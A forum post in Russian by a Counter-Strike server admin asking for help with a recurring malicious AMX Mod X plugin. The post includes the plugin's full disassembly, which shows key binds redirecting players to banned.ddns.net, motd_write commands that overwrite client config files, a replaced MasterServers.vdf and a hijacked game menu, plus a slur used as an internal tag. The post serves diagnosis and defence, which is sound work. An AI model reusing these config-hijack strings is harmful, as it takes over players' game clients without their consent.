Сервер CS на Linux version : 48/1.1.2.6/Stdio 5787
Заметил сам и начали жаловаться игроки, что при нажатии на кнопки F1 F2 ... и на др., игрок перенаправляется на другой сервер, в стартовом меню игры появляется ссылка на коннект к какому то левому серверу ( BEST server, BEST ONE...надпись) В ходе разберательст было выявлено, что с сервера игроку в конфиг заливается бинд кнопок на реконнект к др. серверу. На самом сервере появились подозрительные файлы plugins-dprotosec.ini в папке config и файл dprotoupeng.amxx в папке plugins, файл core заменяется на какой то другой. Соответственно понятно, что плагин этот и творит всю эту канитель...удаляем эти файлы, меняем core на родной, перезапускаем все работает...проходит время - картина повторяется, файлы на сервере опять...каким образом они попадают туда не понятно...chmod к папкам и файлам уже сделал только для чтения и все равно...Помогите решить данную проблему?! Заранее спасибо! Файлы ниже прилагаются.
Попробовал открыть .amxx файл через программу AmxDisassembler:
Код
.DATA
mul_000 multiarray 4 -
string "!MD5/../../platform/config/MasterServers.vdf"
string "!MD5/../../platform/config/rev_MasterServers.vdf"
string "!MD5/../../config/rev_MasterServers.vdf"
string "!MD5/../../config/MasterServers.vdf"
str_000 string ""MasterServers"{ "hl1" { "0" { "addr" "master.gold-boost.net:27010" } }}"
str_001 string "boost"
arr_000 array 1201 fill 0x0
str_002 string "Best server"
str_003 string "banned.ddns.net:33441"
mul_001 multiarray 15 128
string "bind "F1" "Connect banned.ddns.net:33442";wait;bind "TAB" "+showscores""
string "bind "F2" "Connect banned.ddns.net:33441";wait;bind "F10" "Connect banned.ddns.net:33441""
string "bind "F3" "Connect banned.ddns.net:33441";wait;bind "F11" "Connect banned.ddns.net:33441""
string "bind "F4" "Connect banned.ddns.net:33441";wait;bind "F12" "Connect banned.ddns.net:33441""
string "bind "F5" "Connect banned.ddns.net:33441";wait;bind "F9" "Connect banned.ddns.net:33441""
string "bind "F6" "Connect banned.ddns.net:33441";wait;bind "LEFTARROW" "Connect banned.ddns.net:33441""
string "bind "F7" "Connect banned.ddns.net:33441";wait;bind "DOWNARROW" "Connect banned.ddns.net:33441""
string "bind "F8" "Connect banned.ddns.net:33441";wait;bind "RIGHTARROW" "Connect banned.ddns.net:33441""
string "bind "UPARROW" "Connect banned.ddns.net:33441";wait;bind "HOME" "Connect banned.ddns.net:33441""
string "bind "p" " Connect banned.ddns.net:33441";wait;bind "ALT" "Connect banned.ddns.net:33441""
string "bind "~" "clear;toggleconsole;clear";wait;bind "n" "Connect banned.ddns.net:33441""
string "bind "o" "Connect banned.ddns.net:33441";wait;bind "i" "Connect banned.ddns.net:33441""
string "bind "0" "Connect banned.ddns.net:33441";wait;bind "6" "Connect banned.ddns.net:33441""
string "bind "9" "Connect banned.ddns.net:33441";wait;bind "7" "Connect banned.ddns.net:33441""
string "bind "DEL" "Connect banned.ddns.net:33441";wait;bind "8" "Connect banned.ddns.net:33441""
arr_001 array 39 fill 0x0
str_004 string "ALLINONE"
str_005 string "1.0"
str_006 string "NIGGAZGOLD"
str_007 string "resource/GameMenu.res"
str_008 string "Motdfile userconfig.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
str_009 string "Motdfile autoexec.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
str_010 string "Motdfile language.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
str_011 string "Motdfile violence.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
str_012 string "Motdfile VALVE.RC;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
str_013 string "developer 0"
str_014 string "motdfile %s"
str_015 string "motd_write %s"
str_016 string "motdfile %s"
str_017 string "motd_write %s"
str_018 string "motdfile %s"
str_019 string "motd_write %s"
str_020 string "motdfile %s"
str_021 string "motd_write %s"
str_022 string "motdfile motd.txt"
str_023 string "setinfo %s 1"
str_024 string "GameMenu changer"
str_025 string "1.0"
str_026 string "Unknown"
str_027 string "commands_on"
str_028 string "1"
str_029 string ""GameMenu" { "1" { "label" "%s""
str_030 string "%s "command" "engine Connect %s""
str_031 string "%s } "2" { "label" "" "command" "" }"
str_032 string "%s "3" { "label" "#GameUI_GameMenu_ResumeGame""
str_033 string "%s "command" "ResumeGame" "OnlyInGame" "1" }"
str_034 string "%s "4" { "label" "#GameUI_GameMenu_Disconnect""
str_035 string "%s "command" "Disconnect" "OnlyInGame" "1""
str_036 string "%s "notsingle" "1" } "5" { "label" "#GameUI_GameMenu_PlayerList""
str_037 string "%s "command" "OpenPlayerListDialog" "OnlyInGame" "1" "notsingle" "1""
str_038 string "%s } "9" { "label" "" "command" "" "OnlyInGame" "1" }"
str_039 string "%s "10" { "label" "#GameUI_GameMenu_NewGame" "command" "OpenCreateMultiplayerGameDialog""
str_040 string "%s } "11" { "label" "#GameUI_GameMenu_FindServers" "command" "OpenServerBrowser""
str_041 string "%s } "12" { "label" "#GameUI_GameMenu_Options" "command" "OpenOptionsDialog""
str_042 string "%s } "13" { "label" "#GameUI_GameMenu_Quit" "command" "Quit" } }"
str_043 string "motdfile "resource/GameMenu.res""
str_044 string "motd_write %s"
str_045 string "motdfile "motd.txt""
str_046 string "%s"
str_047 string "clear"
str_048 string "TaskChangeMenu"
arr_002 array 2 fill 0x0
str_049 string "motdfile %s"
str_050 string "motd_write %s"
str_051 string "motdfile %s"
str_052 string "motd_write %s"
str_053 string "motdfile %s"
str_054 string "motd_write %s"
str_055 string "motdfile %s"
str_056 string "motd_write %s"
str_057 string "motdfile motd.txt"
str_058 string "setinfo %s 1"
str_059 string "clear"
.CODE
halt 0x0
PROC plugin_init
break
break
push.c 0x35C8
push.c 0x35B8
push.c 0x3594
push.c 0xC
sysreq.c register_plugin
stack 0x10
zero.pri
retn
ENDP
PROC plugin_precache
break
break
push.c 0x35F4
push.c 0x4
sysreq.c precache_generic
stack 0x8
zero.pri
retn
ENDP
PROC client_authorized
break
break
push.c 0x364C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x3778
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x389C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x39C0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x3AE4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x3BF8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
zero.pri
move.alt
load.i
add
push.pri
push.c 0x3C28
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x3C58
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0x4
move.alt
load.i
add
push.pri
push.c 0x3C90
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x3CC0
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0x8
move.alt
load.i
add
push.pri
push.c 0x3CF8
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x3D28
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0xC
move.alt
load.i
add
push.pri
push.c 0x3D60
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x3D90
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x3DC8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x3F4
push.c 0x3E10
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x3E98
push.c 0x3E88
push.c 0x3E44
push.c 0xC
sysreq.c register_plugin
stack 0x10
break
push.c 0x0
push.c 0x0
push.c 0x3EE8
push.c 0x3EB8
push.c 0x10
sysreq.c register_cvar
stack 0x14
stor.pri 0x16CC
break
push.c 0x4AF
break
push.c 0x16D0
push.c 0x3EF0
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x1700
push.c 0x40C
push.c 0x3F70
push.s -0x4
push.c 0x40C
push.c 0x14
sysreq.c format
stack 0x18
break
push.c 0x40C
push.c 0x3FF4
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4088
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4144
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x41F8
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x42B4
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4360
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4464
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4578
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4650
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x47B4
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x48F8
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x40C
push.c 0x4A2C
push.s -0x4
push.c 0x40C
push.c 0x10
sysreq.c format
stack 0x14
break
push.c 0x4B30
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x40C
push.c 0x4BB4
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x4BEC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
jump jump_0000
jump_0002:
break
inc.s -0x8
jump_0000:
load.s.pri -0x8
const.alt 0xF
jsgeq jump_0001
break
const.alt 0x1758
load.s.pri -0x8
bounds 0xE
idxaddr
move.alt
load.i
add
push.pri
push.c 0x4C3C
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
jump jump_0002
jump_0001:
stack 0x4
break
push.c 0x4C48
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
stack 0x4
zero.pri
retn
ENDP
PROC client_putinserver
break
break
push.c 0x0
push.c 0x4CA0
push.c 0x0
push.c 0x4C9C
push.s 0xC
push.c 0x4C60
push.c 0x40400000
push.c 0x1C
sysreq.c set_task
stack 0x20
zero.pri
retn
ENDP
PROC TaskChangeMenu
break
break
zero.pri
move.alt
load.i
add
push.pri
push.c 0x4CA4
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x4CD4
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0x4
move.alt
load.i
add
push.pri
push.c 0x4D0C
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x4D3C
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0x8
move.alt
load.i
add
push.pri
push.c 0x4D74
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x4DA4
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
zero.pri
add.c 0xC
move.alt
load.i
add
push.pri
push.c 0x4DDC
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x2B8
push.c 0x4E0C
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x4E44
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x3F4
push.c 0x4E8C
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x4EC0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
zero.pri
retn
ENDP
Прикрепленные файлы:
files.zip ( 6,41 килобайт )
Кол-во скачиваний: 26